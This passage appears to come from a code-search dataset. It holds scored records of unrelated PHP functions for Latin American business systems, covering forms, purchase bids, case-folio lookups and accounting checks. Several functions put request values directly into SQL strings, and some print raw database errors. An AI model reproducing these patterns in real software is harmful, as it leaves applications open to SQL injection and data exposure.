valign=\"top\">Idioma:</b><br><b>'.$w_nm_idioma);\r\n } \r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você lê com facilidade textos escritos no idioma selecionado acima?</b>',$w_leitura,'w_leitura');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você escreve textos com facilidade no idioma selecionado acima?</b>',$w_escrita,'w_escrita');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você compreende com facilidade pessoas conversando no idioma selecionado acima?</b>',$w_compreensao,'w_compreensao');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você conversa fluentemente no idioma selecionado acima?</b>',$w_conversacao,'w_conversacao');\r\n ShowHTML(' </table>');\r\n if ($_SESSION['PORTAL']=='') {\r\n ShowHTML(' <tr><td align=\"LEFT\"><b>'.$_SESSION['LABEL_CAMPO'].':<BR> <INPUT ACCESSKEY=\"A\" class=\"sti\" type=\"PASSWORD\" name=\"w_assinatura\" size=\"30\" maxlength=\"30\" value=\"\"></td></tr>');\r\n } \r\n ShowHTML(' <tr><td align=\"center\"><hr>');\r\n if ($O=='E') {\r\n ShowHTML(' <input class=\"STB\" type=\"submit\" name=\"Botao\" value=\"Excluir\">');\r\n } else {\r\n if ($O=='I') {\r\n ShowHTML(' <input class=\"STB\" type=\"submit\" name=\"Botao\" value=\"Incluir\">');\r\n } else {\r\n ShowHTML(' <input class=\"STB\" type=\"submit\" name=\"Botao\" value=\"Atualizar\">');\r\n } \r\n } \r\n ShowHTML(' <input class=\"STB\" type=\"button\" onClick=\"location.href=\\''.montaURL_JS($w_dir,$w_pagina.$par.'&w_chave='.$w_chave.'&w_usuario='.$w_usuario.'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.'&O=L').'\\';\" name=\"Botao\" value=\"Cancelar\">');\r\n ShowHTML(' </td>');\r\n ShowHTML(' </tr>');\r\n ShowHTML(' </table>');\r\n ShowHTML(' </TD>');\r\n ShowHTML('</tr>');\r\n ShowHTML('</FORM>');\r\n } else {\r\n ScriptOpen('JavaScript');\r\n ShowHTML(' alert(\"Opção não disponível\");');\r\n ScriptClose();\r\n } \r\n ShowHTML('</table>');\r\n ShowHTML('</center>');\r\n Rodape();\r\n}", "title": "" }, { "docid": "f4883ff9e581e241834762f72d963329", "score": "0.51079", "text": "public static function verificaQCAutomatico()\n {\n $itens_aprovados_com_acordos = OrdemDeCompraItem::query()\n ->select([\n 'ordem_de_compra_itens.insumo_id',\n DB::raw('GROUP_CONCAT(ordem_de_compra_itens.id) oc_itens_ids'),\n DB::raw('SUM(ordem_de_compra_itens.qtd) qtd'),\n 'catalogo_contrato_insumos.id as catalogo_contrato_insumo_id',\n DB::raw('catalogo_contratos.id as cat_contrato_id')\n ])\n ->join('ordem_de_compras', 'ordem_de_compras.id', 'ordem_de_compra_itens.ordem_de_compra_id')\n ->join('obras', 'obras.id', 'ordem_de_compra_itens.obra_id')\n ->join('insumos', 'insumos.id', 'ordem_de_compra_itens.insumo_id')\n ->join('catalogo_contrato_insumos', 'catalogo_contrato_insumos.insumo_id', 'ordem_de_compra_itens.insumo_id')\n ->join('catalogo_contratos', 'catalogo_contratos.id', 'catalogo_contrato_insumos.catalogo_contrato_id')\n ->join('catalogo_contrato_regional', function($join){\n $join->on('catalogo_contrato_regional.regional_id','=','obras.regional_id');\n $join->on('catalogo_contrato_regional.catalogo_contrato_id','=','catalogo_contratos.id');\n })\n ->where('ordem_de_compras.aprovado', '1')\n ->where('catalogo_contratos.catalogo_contrato_status_id',3) // Acordo Ativo\n ->where('catalogo_contrato_regional.catalogo_contrato_status_id',3) // Regional Ativa\n ->where('catalogo_contrato_insumos.periodo_inicio','<=',date('Y-m-d'))\n ->where('catalogo_contrato_insumos.periodo_termino','>=',date('Y-m-d'))\n ->whereNotExists(function ($query) {\n $query->select(DB::raw('1'))\n ->from('oc_item_qc_item')\n ->where('ordem_de_compra_item_id', DB::raw('ordem_de_compra_itens.id'));\n })\n ->groupBy('ordem_de_compra_itens.insumo_id', 'catalogo_contrato_insumos.id')\n ->get();\n\n if (!$itens_aprovados_com_acordos->count()) {\n return false;\n }\n\n // Se existe verifica se as quantidades requisitadas estão dentro dos requisitos\n $gerar_qc_itens = [];\n $fornecedores_ids = [];\n $item_valores = [];\n foreach ($itens_aprovados_com_acordos as $item) {\n $item_acordo = CatalogoContratoInsumo::find($item->catalogo_contrato_insumo_id);\n // Verifica se a qtd mínima é atendidida\n if ($item->getOriginal('qtd') >= $item_acordo->getOriginal('pedido_minimo')) {\n // Verifica se a qtd multipla é atendida\n $multiplo_de = floatval($item_acordo->getOriginal('pedido_multiplo_de'));\n $multiplo_de = $multiplo_de==0?1:$multiplo_de; // se tem acordo, o múltiplo deve ser diferente de zero\n if (($item->getOriginal('qtd') % $multiplo_de) == 0) {\n $gerar_qc_itens[$item->insumo_id] = [\n 'ids' => explode(',', $item->oc_itens_ids),\n 'insumo_id' => $item->insumo_id,\n 'qtd' => $item->getOriginal('qtd'),\n 'fornecedor_id' => $item_acordo->catalogo->fornecedor_id,\n 'valor' => $item_acordo->getOriginal('valor_unitario'),\n 'cat_contrato_id' => $item->cat_contrato_id\n ];\n $item_valores[$item->insumo_id][$item_acordo->catalogo->fornecedor_id] = $item_acordo->getOriginal('valor_unitario');\n $fornecedores_ids[$item->insumo_id][$item_acordo->catalogo->fornecedor_id] = $item_acordo->catalogo->fornecedor_id;\n }\n }\n }\n\n // Se estão gera um QC automatico com os itens que são atendidos por aquele catálogo\n if (count($gerar_qc_itens))\n {\n // Antes de gerar os QCs fazer a análise de quantos QCs terão\n $QCs_por_forncedor = [];\n foreach ($gerar_qc_itens as $qc_item_array)\n {\n // Verifica se só tem um fornecedor pra este insumo\n if(count($fornecedores_ids[$qc_item_array['insumo_id']])===1){\n if(!isset($QCs_por_forncedor[$qc_item_array['fornecedor_id']])){\n $QCs_por_forncedor[$qc_item_array['fornecedor_id']] = [];\n }\n // Se tiver já salva o item pra gerar neste fornecedor\n $QCs_por_forncedor[$qc_item_array['fornecedor_id']][] = $qc_item_array;\n }else{\n // Senão joga numa chave chamada Misto\n if(!isset($QCs_por_forncedor['misto'])){\n $QCs_por_forncedor['misto'] = [];\n }\n // Adiciona o item pra gerar no misto\n $QCs_por_forncedor['misto'][] = $qc_item_array;\n }\n\n }\n\n $contratoTemplateContrato = ContratoTemplate::where('tipo', 'M')->first(); // Busca template do tipo Material (só tem um no sistema)\n foreach ($QCs_por_forncedor as $QC)\n {\n $quadroDeConcorrencia = QuadroDeConcorrencia::create([\n 'user_id' => null,\n 'qc_status_id' => 1,\n 'obrigacoes_fornecedor' => ConfiguracaoEstatica::find(1)->valor,\n 'obrigacoes_bild' => ConfiguracaoEstatica::find(2)->valor,\n 'rodada_atual' => 1,\n 'contrato_template_id'=> $contratoTemplateContrato->id\n ]);\n\n foreach ($QC as $qc_item_array) {\n\n // Cadastra os itens do quadro de concorrência\n\n $qc_item = QcItem::create([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'qtd' => $qc_item_array['qtd'],\n 'insumo_id' => $qc_item_array['insumo_id']\n ]);\n $qc_item->oc_itens()->sync($qc_item_array['ids']);\n\n\n // Salva o primeiro status log\n QcStatusLog::firstOrCreate([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'qc_status_id' => $quadroDeConcorrencia->qc_status_id,\n ]);\n $quadroDeConcorrencia->qc_status_id = 2;\n QcStatusLog::firstOrCreate([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'qc_status_id' => $quadroDeConcorrencia->qc_status_id,\n ]);\n\n // Amarra os fornecedores no QC\n foreach ($fornecedores_ids[$qc_item_array['insumo_id']] as $fornecedor_id) {\n $catalogoContrato = CatalogoContrato::find($qc_item_array['cat_contrato_id']);\n\n $qc_fornecedor = QcFornecedor::firstOrCreate([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'fornecedor_id' => $fornecedor_id,\n 'rodada' => $quadroDeConcorrencia->rodada_atual,\n 'nf_material' => 1,\n 'campos_extras_contrato' => $catalogoContrato->campos_extras_contrato\n ]);\n }\n\n\n $quadroDeConcorrencia->qc_status_id = 7;\n QcStatusLog::firstOrCreate([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'qc_status_id' => $quadroDeConcorrencia->qc_status_id,\n ]);\n $quadroDeConcorrencia->save();\n\n // Define se é apenas um fornecedor como vencedor, caso contrário, deixa vazio\n $vencedor = $quadroDeConcorrencia->qcFornecedores()->count() == 1 ? 1 : 0;\n }\n // Após gerado, já lança os valores daqueles fornecedores pelo firmado no acordo\n foreach ($quadroDeConcorrencia->itens as $item) {\n $acordo_item = $gerar_qc_itens[$item->insumo_id];\n foreach ($item_valores[$item->insumo_id] as $fornecedorID => $valorItem) {\n $qc_fornecedor = QcFornecedor::where('quadro_de_concorrencia_id', $quadroDeConcorrencia->id)\n ->where('fornecedor_id', $fornecedorID)\n ->first();\n QcItemQcFornecedor::create([\n 'qc_item_id' => $item->id,\n 'qc_fornecedor_id' => $qc_fornecedor->id,\n 'qtd' => $item->getOriginal('qtd'),\n 'valor_unitario' => $valorItem,\n 'valor_total' => ($valorItem * $item->getOriginal('qtd')),\n 'vencedor' => $vencedor,\n 'data_decisao' => date('Y-m-d H:i:s')\n ]);\n }\n }\n // Se existe apenas um fornecedor\n if($quadroDeConcorrencia->qcFornecedores()->count() == 1){\n // Finaliza o QC\n\n $quadroDeConcorrencia->qc_status_id = 8;\n QcStatusLog::create([\n 'quadro_de_concorrencia_id' => $quadroDeConcorrencia->id,\n 'qc_status_id' => $quadroDeConcorrencia->qc_status_id,\n ]);\n $quadroDeConcorrencia->save();\n\n // Já gera os contratos\n $contratoTemplateContrato = \\App\\Models\\ContratoTemplate::where('tipo','M')->first();\n $gerarContrato = [\n 'qcFornecedor' => $qc_fornecedor->id,\n 'contrato_template_id'=> $contratoTemplateContrato->id,\n ];\n\n // Campos extras\n if($qc_fornecedor->campos_extras_contrato){\n $campos_extras_contrato = json_decode($qc_fornecedor->campos_extras_contrato);\n foreach ($campos_extras_contrato as $key => $value){\n $gerarContrato['CAMPO_EXTRA'][$key] = $value;\n }\n }\n\n ContratoRepository::criar($gerarContrato);\n\n }else{\n $avaliadores = collect();\n // Notifica os usuários que cuidam de QC para escolherem um vencedor\n $compradores_avaliadores = CompradorInsumo::where('insumo_id', $qc_item_array['insumo_id'])->get();\n if(count($compradores_avaliadores)){\n foreach ($compradores_avaliadores as $compradorInsumo){\n $avaliadores->push($compradorInsumo->user);\n }\n }else{\n $avaliadores = User::where('active','1')\n ->join('role_user','role_user.user_id','users.id')\n ->join('roles','roles.id','role_user.role_id')\n ->where('roles.name','Suprimentos')\n ->get();\n if(!$avaliadores->count()){\n $avaliadores = User::where('active','1')\n ->join('role_user','role_user.user_id','users.id')\n ->join('roles','roles.id','role_user.role_id')\n ->where('roles.name','Administrador')\n ->get();\n }\n }\n Notification::send($avaliadores, new QCConcorrenciaNotification($quadroDeConcorrencia));\n }\n }\n }\n }", "title": "" }, { "docid": "e476020918570da2be5dee3d81bd9a0a", "score": "0.5099217", "text": "function estatusTramite ()\n\t{\n\t\t$folioconsecutivo=$this->argumentos[\"wl_folioconsecutivo\"];\n\t\t$sql = \t\"\tselect estatus from contra.gestion where folioconsecutivo=$folioconsecutivo;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$estatus=$row['estatus'];\n\t\techo \"<enviavalor>$estatus</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "8d5d522fc8d25147c8bc7c8549df0c4d", "score": "0.5094997", "text": "function dameReferenciasInterno()\n\t{\n\t\t$wlfolioconsecutivo=$this->argumentos[\"wl_folioconsecutivo\"];\t\n\t\t$sql = \t\"\tselect lpad(valor,5,'0') as valor from contra.ope_referencias_interno where folioconsecutivo=\".$wlfolioconsecutivo.\" and id_tiporef=4;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$num = pg_numrows($sql_result);\n\t\t$folios='';\n\t\tif ($num>0)\n\t\t{\n\t\t\t$row = pg_fetch_array($sql_result, 0);\t\n\t\t\t$folios=$row['valor'];\n\t\t\tfor ($i=1; $i<$num; $i++)\n\t\t\t{\n\t\t\t\t$row = pg_fetch_array($sql_result, $i);\t\n\t\t\t\t$folios=$folios.\", \".$row['valor'];\n\t\t\t}\n\t\t\t\n\t\t}\n\t\techo \"<enviavalor>$folios</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "3be4f0f426f16e5d0cee1b77a820afbc", "score": "0.5091703", "text": "function procese($elmes, $niveles, $db_con)\r\n{\r\n\t$sql=\"select fech_ejerc from \".$_SESSION['institucion'].\"sgcaf100 limit 1\";\r\n\ttry\r\n\t{\r\n\t\t$result=$db_con->prepare($sql);\r\n\t\t$result->execute();\r\n\t\t$registro=$result->fetch(PDO::FETCH_ASSOC);\r\n\t\t$ano=$registro['fech_ejerc'];\r\n\t\t$ano=explode('-',$ano);\r\n\t\t$ano=$ano[0];\r\n\t\t$numero=$niveles; // ['con_nivel'];\r\n\t\t// chequeo de fallas\r\n\t\tif ($elmes < 10)\r\n\t\t\t$mimes='0'.$elmes;\r\n\t\telse $mimes=$elmes;\r\n\t\t$sql=\"select com_nrocom, sum(com_monto1) as debe, sum(com_monto2) as haber,sum(com_monto1)-sum(com_monto2) as diferencia from \".$_SESSION['institucion'].\"sgcaf820 where substr(com_fecha,1,7)='$ano-$mimes' and length(trim(com_cuenta))=length('5-07-01-06-01-01-0001') group by com_nrocom order by sum(com_monto1)-sum(com_monto2) desc\";\r\n\t//\techo $sql;\r\n//\t\techo '<br>';\r\n\t\t$hay=false;\r\n\t\t$result = $db_con->prepare($sql);\r\n\t\t$res=$result->execute();\r\n\t\tif (!$res) die('Error en la F820-4'.$sql.' '); \r\n\t\twhile ($fila = $result->fetch(PDO::FETCH_ASSOC)) {\r\n\t//\t\techo substr(trim($fila['diferencia']),1,4).'<br>';\r\n\t\t\tif (substr(trim($fila['diferencia']),0,4)!= '0.00') {\r\n\t\t\t\techo \"<strong><a target=\\\"_blank\\\" href='editasi2.php?asiento=\".$fila['com_nrocom'].\"'>\".$fila['com_nrocom'].\"</a></strong> <br>\";\r\n\t\t\t\techo $fila['debe'].' '.$fila['haber'].' '.$fila['diferencia'].' '.'<br>';\r\n\t\t\t\t$hay=true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($hay == true) {\r\n\t\t\tmensaje(['tipo'=>'danger','titulo'=>'Aviso','texto'=>'<h2>Revisar los comprobantes anteriores que tienen inconveniente</h2>']);\r\n\t\t\tdie('');\r\n\t\t}\r\n\r\n\t\t//$sql=\"select left(com_cuenta,$numero) as com_cuenta, com_debcre, sum(com_monto1) as debe, sum(com_monto2) as haber from \".$_SESSION['institucion'].\"sgcaf820 where month(com_fecha)=$elmes and year(com_fecha)=$ano group by com_cuenta, com_debcre order by com_cuenta\";\r\n\t\t$sql=\"select left(com_cuenta,$numero) as com_cuenta, sum(com_monto1) as debe, sum(com_monto2) as haber from \".$_SESSION['institucion'].\"sgcaf820 where month(com_fecha)=$elmes and year(com_fecha)=$ano group by com_cuenta order by com_cuenta\";\r\n\t \t// echo $sql.'<br>';\r\n\t \t// die('');\r\n\t\t$result = $db_con->prepare($sql);\r\n\t\t$result->execute();\r\n\t\t// or die('Error en la F820-3 '.$sql.' '.mysql_error()); \r\n\t\t$cantidad=$result->rowCount();\r\n\t\tif ($cantidad == 0) \r\n\t\t{\r\n\t\t\tmensaje(['tipo'=>'danger','titulo'=>'Aviso','texto'=>'<h2>No existen movimientos en el mes $elmes revisar</h2>']);\r\n\t\t\texit;\r\n\t\t}\r\n\t\tset_time_limit(($cantidad<30?30:$cantidad));\r\n\t\t$ValorTotal=$cantidad;\r\n\t\t$cuantos=0;\r\n\t\twhile ($fila = $result->fetch(PDO::FETCH_ASSOC)) {\r\n\t\t\tcalcule_810($fila, $niveles, $elmes, $db_con);\r\n\t\t//echo $sql;\r\n\t\t\t$cuantos++;\r\n\t\t\t$porcentaje = $cuantos * 100 / $ValorTotal; //saco mi valor en porcentaje\r\n\t\t\t// echo $cuantos.' '.$porcentaje.'/';\r\n\t\t\t// echo \"<script>callprogress2(\".round($porcentaje).\")</script>\"; //llamo a la función JS(JavaScript) para actualizar el progreso\r\n\t//\t\techo $porcentaje.'<br>';\r\n\r\n\t\t\tflush(); //con esta funcion hago que se muestre el resultado de inmediato y no espere a terminar todo el bucle con los 25 registros para recien mostrar el resultado\r\n\t\t\tob_flush();\r\n\t\t}\r\n\t\techo \"</div>\";\r\n\t}\r\n\tcatch (PDOException $e) \r\n\t{\r\n\t\tmensaje(['tipo'=>'warning','titulo'=>'Aviso','texto'=>'<h2>Fallo llamado</h2>'.$sql.$e->getMessage()]);\r\n\t\tdie('');\r\n\t}\r\n/*\r\n\techo \"<script>\";\r\n//\techo \"document.getElementById('progreso').style.displaye='none';\";\r\n\r\n\techo \"</script>\";\r\n*/\r\n}", "title": "" }, { "docid": "33e80e6ad4c120b6b1217fe6ac40d348", "score": "0.5087587", "text": "function buscafolioint()\n {\n $num=0;\n $folio=$this->argumentos[\"wl_folio\"];\n $tipotramite=$this->argumentos[\"wl_id_tipotramite\"];\n $fecharecibo=$this->argumentos[\"wl_fecharecibo\"];\n $sql=\" select * from contra.v_gestioncontermino where folio like '%\".str_pad($folio,6,\"0\",STR_PAD_LEFT).\"%'\".\n \" and id_cveasunto=\".\n \" (select id_tipotramite_equiv from agenda.tramites_tipo where id_tipotramite=\".$tipotramite.\")\".\n \" and fecharecibo='\".$fecharecibo.\"'\";\n $sql_result = @pg_exec($this->connection,$sql);\n if (strlen(pg_last_error($this->connection))>0)\n {\n echo \"<error>Error buscafolioint\".pg_last_error($this->connection).\"</error>\";\n return false;\n }\n $num = pg_numrows($sql_result);\n $Row = pg_fetch_array($sql_result, 0);\n if ($num==0)\n { \n //$msg=\"El trámite \".$folio.\" no existe\";\n $sql1=\"select descripcion from agenda.tramites_tipo where id_tipotramite=\".$tipotramite;\n $sql_result1 = @pg_exec($this->connection,$sql1);\n if (strlen(pg_last_error($this->connection))>0)\n {\n echo \"<error>Error buscafolioint\".pg_last_error($this->connection).\"</error>\";\n return false;\n }\n $num1 = pg_numrows($sql_result1);\n $Row1 = pg_fetch_array($sql_result1, 0);\n\n $msg=\"El tipo trámite \".$Row1[\"descripcion\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" no existe \";\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,1);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\"; \n return; }\n $fechatermino=$Row[\"fechatermino\"];\n if ($Row[\"estatus\"]==\"3\")\n {\n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" ya fue entregado\";\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,0);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\";\n return; \n }\n\n if ($Row[\"idcita\"]!=\"\" && $Row[\"idcita\"]!=\"0\")\n { \n ##$msg=\"El trámite \".$folio.\" ya tiene una cita reservada\";\n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" ya tiene una cita reservada\";\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,0);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\"; \n return; }\n\n //if ($Row[\"estatus\"]!=\"5\" && $Row[\"vencido\"]==\"0\" && $Row[\"protestos\"]>0 && $Row[\"llenoprotestos\"]==0)\n if ($Row[\"estatus\"]!=\"5\" && $Row[\"protestos\"]>0 && $Row[\"llenoprotestos\"]==0)\n {\n ##$msg=\"Se requiere pase a ventanilla 8 para efectuar una aclaración del tramite \".$folio.\" \";\n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" se requiere pase a ventanilla 8 para efectuar una aclaración del trámite\";\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,3);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\";\n return; }\n\n if ($Row[\"estatus\"]!=\"5\" && $Row[\"mensaje\"]!=\"\")\n {\n //$msg=\"Se requiere pase a ventanilla 8 para efectuar una aclaración del tramite \".$folio.\" \";\n //$msg=$Row[\"mensaje\"];\n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" \".$Row[\"mensaje\"];\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,3);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\";\n return; }\n\n\n\n if ($Row[\"estatus\"]!=\"5\" && $Row[\"vencido\"]==\"0\")\n {\n //$msg=\"El trámite \".$folio.\" vence el $fechatermino\";\n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" aún no esta vencido \";\n //$msg=\"El trámite \".$folio.\" aún no esta vencido\";\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,5);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\";\n return; }\n $msgcitas=\"\";\n $sql=\" select count(*) as tienecitas from agenda.v_fechas_disponibles where \".\n \" idgrupo=\".\n \" (select idgrupo from agenda.tramites_tipo where id_tipotramite=\".$tipotramite.\")\";\n $sql_result = @pg_exec($this->connection,$sql);\n if (strlen(pg_last_error($this->connection))>0)\n {\n echo \"<error>Error buscafolioint\".pg_last_error($this->connection).\"</error>\";\n return false;\n }\n $num = pg_numrows($sql_result);\n $Row1 = pg_fetch_array($sql_result, 0);\n if ($Row1[\"tienecitas\"]!=0)\n { $msgcitas=\",Desea reservar una cita?\"; }\n\n if ($tipotramite==\"2\")\n { $msgcitas=\"\"; }\n\n\n if ($Row[\"estatus\"]!=\"5\")\n { \n $msg=\"El tipo de trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" esta en proceso \".$msgcitas;\n //$msg=\"El trámite \".$folio.\" esta en proceso\\n \".$msgcitas;\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,4);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\"; \n return; }\n\n ##$msg=\"Pase por respuesta a ventanilla 8 de Lunes a Viernes de 9:00 am a 13:30 \".$msgcitas;\n $msg=\"Pase por respuesta del trámite \".$Row[\"desasunto\"].\" con folio \".$folio.\" y fecha de ingreso \".$fecharecibo.\" a la ventanilla 8 de Lunes a Viernes de 9:00 am a 13:30 \".$msgcitas;\n $reg= new logmenus($this->connection); //20070623\n $reg->registra(2396,$msg,6);//20070623\n $reg=null; //20070623\n echo \"<_nada_>$msg</_nada_>\";\n echo \"<folioconsecutivo>\".$Row[\"folioconsecutivo\"].\"</folioconsecutivo>\";\n return;\n }", "title": "" }, { "docid": "78bd22d0691e6f38bc84882d0c0a2946", "score": "0.50776", "text": "public function comput_vto_inv()\n {\n $this->load->model('gestion_riesgo/gr_rmc_model','gr_rmc',true);\n $invVencidasHoy =$this->gr_rmc->dameRmcConInvVencidasHoy();\n \n// echo \"<pre>\".print_r($invVencidasHoy,true).\"</pre>\";\n \n $arrayInvVencidasHoy=array();\n $vencer=0;\n if ($invVencidasHoy!=0)\n {\n $vencer = $this->gr_rmc->vencerRmc();\n foreach ($invVencidasHoy as $value)\n {\n $arrayInvVencidasHoy[]=$value['id_rmc'];\n }\n \n }\n else\n $arrayInvVencidasHoy[]='0';\n \n $datos['cron']='bots/comput_vtos(INV-RI)';\n $datos['detalle']='RIVencidosHoy: '.implode(\",\", $arrayInvVencidasHoy);\n $this->load->model('crons_model','crons',true);\n $datos['echo']=$vencer;\n $this->crons->insert($datos);\n \n// echo \"<pre>\".print_r($datos,true).\"</pre>\";\n \n \n \n }", "title": "" }, { "docid": "04cf63ec253510cf9f6cc73cc6c2785d", "score": "0.50730276", "text": "function verificarFolioInfo($folio){\n\t$sqlFolio=\"select * from archivo_Cliente where lote='\".$folio.\"'\";\n\t$resFolio=mysql_query($sqlFolio,conectarBd());\n\tif(mysql_num_rows($resFolio)==0){\n\t echo \"( 0 ) registros en el folio\"; return;\n\t}else{\n\t echo \"<table border='1' cellpading='1' cellspacing='1' width='800'>\";\n\t echo \"<tr>\n\t\t <td>Id</td>\n\t\t <td>Imei Cliente</td>\n\t\t <td>Serial Cliente</td>\n\t\t <td>Folioi Cliente</td>\n\t\t <td>&nbsp;</td>\n\t\t <td>Imei IQ</td>\n\t\t <td>Serial IQ</td>\n\t\t <td>Folio IQ</td>\n\t\t</tr>\";\n\t $i=1;\n\t while($rowFolio=mysql_fetch_array($resFolio)){\n\t\t$sqlIq=\"select imei,serial,lote from equipos where (lote='\".$folio.\"' and imei='\".$rowFolio[\"imei\"].\"') and serial='\".$rowFolio[\"serial\"].\"'\";\t\t\t\t\n\t\t$resIq=mysql_query($sqlIq,conectarBd());\n\t\tif(mysql_num_rows($resIq)==0){\n\t\t $sqlIq=\"select imei,serial,lote from equipos_enviados where (lote='\".$folio.\"' and imei='\".$rowFolio[\"imei\"].\"') and serial='\".$rowFolio[\"serial\"].\"'\";\n\t\t $resIq=mysql_query($sqlIq,conectarBd());\n\t\t}\n\t\t$rowIq=mysql_fetch_array($resIq);\n\t\tif($rowFolio[\"imei\"] == $rowIq[\"imei\"]){\n\t\t $imeiIq=$rowIq[\"imei\"];\n\t\t $fondo=\"green\";\n\t\t $fuente=\"#fff\";\n\t\t}else{\n\t\t $imeiIq=\"NOK\";\n\t\t $fondo=\"red\";\n\t\t $fuente=\"#fff\";\n\t\t}\n\t\tif(strtoupper($rowFolio[\"serial\"]) == strtoupper($rowIq[\"serial\"])){\n\t\t $serialIq=$rowIq[\"serial\"];\n\t\t $fondoSerial=\"green\";\n\t\t $fuenteSerial=\"#fff\";\n\t\t}else{\n\t\t $serialIq=\"NOK\";\n\t\t $fondoSerial=\"red\";\n\t\t $fuenteSerial=\"#fff\";\n\t\t}\n\t\techo \"<tr>\n\t\t <td>\".$i.\"</td>\n\t\t <td>\".$rowFolio[\"imei\"].\"</td>\n\t\t <td>\".$rowFolio[\"serial\"].\"</td>\n\t\t <td>\".$rowFolio[\"lote\"].\"</td>\n\t\t <td>&nbsp;</td>\n\t\t <td style='background:\".$fondo.\";color:\".$fuente.\"'>\".$imeiIq.\"</td>\n\t\t <td style='background:\".$fondoSerial.\";color:\".$fuenteSerial.\"'>\".strtoupper($serialIq).\"</td>\n\t\t <td>\".$rowIq[\"lote\"].\"</td>\n\t\t</tr>\";\n\t\t$i+=1;\n\t }\n\t echo \"</table>\";\n\t}\n }", "title": "" }, { "docid": "d0241e7762a3b3916169e98b85181073", "score": "0.50707644", "text": "function getEventosAbiertos($cedula) {\r\n\t\t$query = \"SELECT COUNT(*) FROM incidentecop WHERE estado='P' and responsable='$cedula'\" ;\r\n\t\t$eventos = $this->conexion->query ( $query );\r\n\t\treturn $eventos;\r\n\t}", "title": "" }, { "docid": "6be07c775abfdb5d85fe11182668d57d", "score": "0.5065012", "text": "function estadosEcidades2()\r\n {\r\n \r\n \t$this->selecao = $this->conn->query(\"SELECT * FROM preciso_profissional WHERE profissao_profissional like'%$this->encontre%' and cidade_profissional ='$this->cidade' and estado_profissional ='$this->estado'\")or die(\"erro\");\r\n\t \r\n $this->resultadPesquisa2();\r\n\r\n \r\n }", "title": "" }, { "docid": "e5196d5bf41f539f27573a434bea8818", "score": "0.5061106", "text": "public function check_cron() {\n //if ( $diff_last_run < 7*24*60*60 ) return false;\n\n $text = NETCAT_ADMIN_NOTICE_CRON;\n $type = 'recommend';\n $r = array('text' => $text, 'type' => $type);\n\n if ($this->core->modules->get_by_keyword('stats', 0)) {\n //if ( $this->core->db->get_var(\"SELECT `Log_ID` FROM `Stats_Log` LIMIT 1\") ) return $r;\n }\n if ($this->core->modules->get_by_keyword('subscriber', 0)) {\n //if ( $this->core->db->get_var(\"SELECT `ID` FROM `Subscriber_Message` LIMIT 1\")) return $r;\n //if ( $this->core->db->get_var(\"SELECT `ID` FROM `Subscriber_Prepared` LIMIT 1\")) return $r;\n }\n if ($this->core->modules->get_by_keyword('search', 0)) {\n //$itable = $this->core->modules->get_vars('search', 'INDEX_TABLE');\n //$last = $this->core->db->get_var(\"SELECT UNIX_TIMESTAMP() - MAX(UNIX_TIMESTAMP(Created)) from Message\".$itable);\n //if ( $last > 7*24*60*60 ) return $r;\n }\n if ($this->core->modules->get_by_keyword('banner', 0)) {\n //if ( $this->core->db->get_var(\"SELECT `Log_ID` FROM `Banner_Log` LIMIT 1\") ) return $r;\n }\n return false;\n }", "title": "" }, { "docid": "f37cf4edde5901a58da05ab7393648cf", "score": "0.5048977", "text": "function contenidos()\n\t{\n\t\tglobal $__BD, $__LIB;\n\t\n\t\t$codigoMod = '';\n\t\t\n\t\t$lastmonth = mktime(0,0,0,date(\"m\"),date(\"d\")-42, date(\"Y\"));\n\t\t$fechaLimite = date(\"Y-m-d\", 